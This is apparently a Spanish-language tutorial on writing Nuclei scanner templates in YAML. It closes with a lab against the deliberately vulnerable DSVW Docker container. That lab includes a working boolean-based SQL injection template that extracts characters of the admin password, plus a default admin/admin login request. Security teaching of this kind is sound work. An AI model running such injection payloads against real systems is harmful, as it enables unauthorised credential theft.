Introducción a las Plantillas de Nuclei
Como funcionan las plantillas
En este articulo, Exploraremos como funcionan las plantillas de Nuclei , detallando el proceso de creación y configuración de vulnerabilidades personalizadas. Aprenderás los fundamentos, desde la configuración de la información básica y la elaboración de peticiones HTTP precisas hasta el uso de variables, payloads, matchers y extractors para pruebas dinámicas. Además, un ejemplo práctico demuestra cómo simular un servidor vulnerable y detectar una vulnerabilidad utilizando una plantilla personalizada Nuclei.
¿Que es una plantilla de Nuclei?
Una plantilla de Nuclei es un archivo con formato YAML que, rellenando secciones específicas, permite estandarizar y automatizar la detección de vulnerabilidades sin tener que reescribir código cada vez. En este artículo, trabajaremos con el protocolo más común para las plantillas: HTTP.
- Información básica: Identificador, nombre, autor, criticidad y descripción.
- Requests: Configuración de las solicitudes HTTP que se enviarán al activo.
- Matchers: Condiciones que deben cumplirse en la respuesta para determinar si la vulnerabilidad está presente.
- Extractors (Opcional): Herramientas para extraer y mostrar información adicional de la respuesta.
Explicación de las partes de la plantilla
Sección de información (info)
Esta sección agrega información a la plantilla utilizando campos de metadatos:
- id: Identificador único de la plantilla.
- severity: Indica la criticidad de la vulnerabilidad (por ejemplo, baja, media, alta, crítica).
- referencia: URL a la documentación, por ejemplo, la entrada CVE o recursos externos.
- tags: Palabras clave que facilitan la búsqueda y la clasificación.
Ejemplo:
id: id-ejemplo-vulnerabilidad
info:
name: "Ejemplo de vulnerabilidad genérica"
author: "NombreAutor"
severity: "medium"
description: "Detecta una vulnerabilidad genérica en una aplicación web."
reference:
- "https://ejemplo.com/detalles-vulnerabilidad"
tags: ["ejemplo", "web", "vulnerabilidad"]
Definición de la solicitud
Para plantillas basadas en HTTP, esta sección especifica las peticiones HTTP a ejecutar:
- method: método HTTP (por ejemplo, GET, POST, PUT, DELETE).
- path: Punto(s) final(es) de destino, que pueden incluir variables dinámicas (por ejemplo,
{{BaseURL}}
). - headers, body, timeout, retries: Parámetros adicionales de la solicitud.
Example:
requests:
- method: POST
path:
- "{{BaseURL}}/api/login"
headers:
Content-Type: "application/json"
User-Agent: "Mozilla/5.0 (compatible; Nuclei)"
body: '{"username": "admin", "password": "admin"}'
timeout: 5
retries: 2
Variables y Placeholders
Variables pueden ser variables predefinidas o personalizadas para permitir una configuración dinámica:
- Variables predefinidas: por ejemplo,
{{BaseURL}}
resuelve automáticamente al host de destino. - Variables personalizadas: Valores definidos por el usuario que pueden reutilizarse en varias secciones.
- Funciones: Las variables pueden incorporar funciones (por ejemplo,
base64_decode(«QXRsYW5zZWMK»)
) para modificar los datos en tiempo de ejecución.
Protocolos soportados: dns, http, headless, y network.
Payloads
Payloads permiten realizar pruebas de inyección o de fuerza bruta definiendo listas de valores, como cadenas, caracteres especiales o patrones. Cada payload se itera y se inyecta en los parámetros de solicitud designados.
Ejemplo:
Estos valores se referencian en las solicitudes utilizando marcadores de posición (por ejemplo, {{username}}
).
Matchers
Matchers validan partes de la respuesta del protocolo utilizando diferentes técnicas. Hay siete tipos principales de matchers:
- status: Compara los códigos de estado HTTP.
- size: Valida la longitud del contenido.
- word: Busca palabras o frases específicas.
- regex: Compara texto usando expresiones regulares.
- binary: Detecta secuencias hexadecimales o binarias.
- dsl: Evalúa expresiones mediante un lenguaje específico del dominio para condiciones complejas (muy práctico y utilizado).
- xpath: Extrae datos de XML/HTML estructurado usando XPath.
Los Matchers pueden combinarse con condiciones lógicas (AND/OR), y los emparejadores negativos pueden especificarse utilizando negative: true
.
Extractors
Extractors capturan datos específicos de las respuestas para su posterior procesamiento o reutilización. Incluyen:
- regex: Utiliza expresiones regulares para extraer patrones.
- kval: Recupera pares clave-valor de cabeceras o cookies.
- json: Aplica sintaxis JQ para extraer datos de las respuestas en formato JSON.
- xpath: Utiliza XPath para extraer elementos o atributos de HTML/XML.
- dsl: Evalúa expresiones para calcular valores (por ejemplo, longitud del cuerpo).
Los extractors dinámicos (con internal: true
) capturan valores en tiempo de ejecución, como tokens CSRF, para su uso en peticiones posteriores.
Funciones avanzadas
- Solicitudes múltiples: Encadena varias peticiones HTTP para simular interacciones de varios pasos (por ejemplo, extraer un token CSRF de una petición GET para utilizarlo en una petición POST posterior).
- Scripts personalizados: Procesa en línea los valores extraídos (por ejemplo, convierta un token a minúsculas antes de reutilizarlo).
- Modos de ataque: Defina estrategias de inyección de carga útil como battering ram, clusterbomb o pitchfork.
Guía práctica: Servidor Web Vulnerable y Plantilla de Nuclei
Iniciar el docker vulnerable
Vamos a utilizar este servidor con vulnerabilidades conocidas para probar y practicar nuestros nuevos conocimientos adquiridos sobre plantillas Nuclei.
Para iniciar el docker: docker run -p 1234:8000 -it appsecco/dsvw
Una vez iniciado, puedes acceder a él y ver un par de vulnerabilidades para probar y crear plantillas. La primera es el siguiente ejemplo:
En este primer ejemplo hay una inyeccion SQL de tipo booleano que puede ser detectada debido a a que cuando la query se da un valor de true la tabla se llena y cuando la query da un valor negativo no, usando el matcher dsl para mirar la longitud del cuerpo de la respuesta podemos saber si esta inyeccion SQL de tipo booleano esta presente en el activo.
Crear una plantilla de Nuclei para detectar la boolean SQLI
Para averiguar la longitud de la contraseña, utilizaremos un payload (de 1 a 9) codificado en la plantilla, aunque también se podría utilizar un archivo con mas payloads para hacerlo más dinámico.
Creamos un archivo llamado algo así como BSQLI-dsvw.yaml
con el siguiente contenido:
id: boolean-sqli-password-extract
info:
name: SQLite Boolean-Based SQL Injection - Password Extraction
author: yourName
severity: critical
tags: ["sqli","sqlite","boolean-based"]
http:
- method: GET
path:
- "{{BaseURL}}?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%27{{length}}%27"
payloads:
length:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
matchers-condition: and
matchers:
- type: dsl
dsl:
- "len(body)>1350 && status_code==200"
Ejecutar Nuclei con la plantilla
Con el servidor funcionando en http://localhost:1234
, abre otro terminal y ejecuta:
Nuclei enviará una petición al servidor y al encontrar la longitud correcta, mostrará un resultado indicando que la prueba se ha realizado correctamente y el payload que corresponde a la longitud de la contraseña.
Conclusión
Ya seas un bughunter, trabajes como pentester o incluso trabajando desde el lado defensivo, tener Nuclei en tu arsenal de herramientas te hará más eficaz en tu trabajo y te permitirá enfocarte en vulnerabilidades más complejas de detectar.
Este ejemplo se ha realizado con plantillas básicas, pero se puede ir mucho más allá. Puedes crear tus propias plantillas adaptadas a tus necesidades, contribuir a la comunidad compartiendo nuevas reglas, integrar Nuclei en flujos de CI/CD o llevar a cabo un monitoreo continuo de tu infraestructura con las plantillas.
Stay safe. Stay smart. Stay secure.